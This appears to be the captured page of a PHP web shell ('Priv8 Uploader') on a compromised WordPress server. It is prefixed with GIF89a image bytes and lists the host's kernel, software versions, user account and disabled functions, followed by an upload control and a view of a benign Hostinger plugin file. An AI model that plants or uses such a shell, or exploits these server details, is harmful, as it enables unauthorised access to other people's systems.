GIF89a;

Priv8 Uploader By InMyMine7

Linux server.fluxioninnovation.in 6.8.0-1041-oracle #42~22.04.1-Ubuntu SMP Fri Dec 5 16:59:35 UTC 2025 aarch64
root@viangans
HEX
Server: Apache/2.4.65 (Ubuntu) mod_fcgid/2.3.9 OpenSSL/3.0.2
System: Linux server.fluxioninnovation.in 6.8.0-1041-oracle #42~22.04.1-Ubuntu SMP Fri Dec 5 16:59:35 UTC 2025 aarch64
User: fluxionuser (1005)
PHP: 8.3.28
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,exec,system,passthru,shell_exec,proc_open,popen
Upload Files
File: /home/fluxionuser/web/kastudio.in/public_html/wp-content/plugins/hostinger/includes/Admin/Proxy.php
<?php

namespace Hostinger\Admin;

use Hostinger\Mcp\EventHandlerFactory;
use Hostinger\WpHelper\Requests\Client;
use Hostinger\WpHelper\Utils;
use WP_Error;

defined( 'ABSPATH' ) || exit;

class Proxy {

    public const HOSTINGER_FREE_SUBDOMAIN_URL     = 'hostingersite.com';
    public const HOSTINGER_DEV_FREE_SUBDOMAIN_URL = 'hostingersite.dev';


    private Client $client;
    private Utils $utils;
    private string $rest_base;

    public function __construct( Client $client, Utils $utils ) {
        $this->client    = $client;
        $this->utils     = $utils;
        $this->rest_base = '/api/v1/events/trigger';
    }

    public function trigger_event( string $event, array $params = array() ): array|WP_Error {
        if ( $this->is_free_subdomain() || ! $_SERVER['H_PLATFORM'] ) {
            return new WP_Error( 'domain-not_allowed', 'This domain is not eligible for triggering Hostinger events' );
        }

        $args = array(
            'domain' => $this->remove_www( $this->utils->getHostInfo() ),
            'event'  => array(
                'name'   => $event,
                'params' => $params,
            ),
        );

        return $this->client->post( $this->rest_base, $args );
    }

    private function is_free_subdomain(): bool {
        return str_contains( $this->utils->getHostInfo(), self::HOSTINGER_FREE_SUBDOMAIN_URL ) ||
                str_contains( $this->utils->getHostInfo(), self::HOSTINGER_DEV_FREE_SUBDOMAIN_URL );
    }

    private function remove_www( string $url ): string {
        if ( str_starts_with( $url, 'www.' ) ) {
            return substr( $url, 4 );
        }

        return $url;
    }
}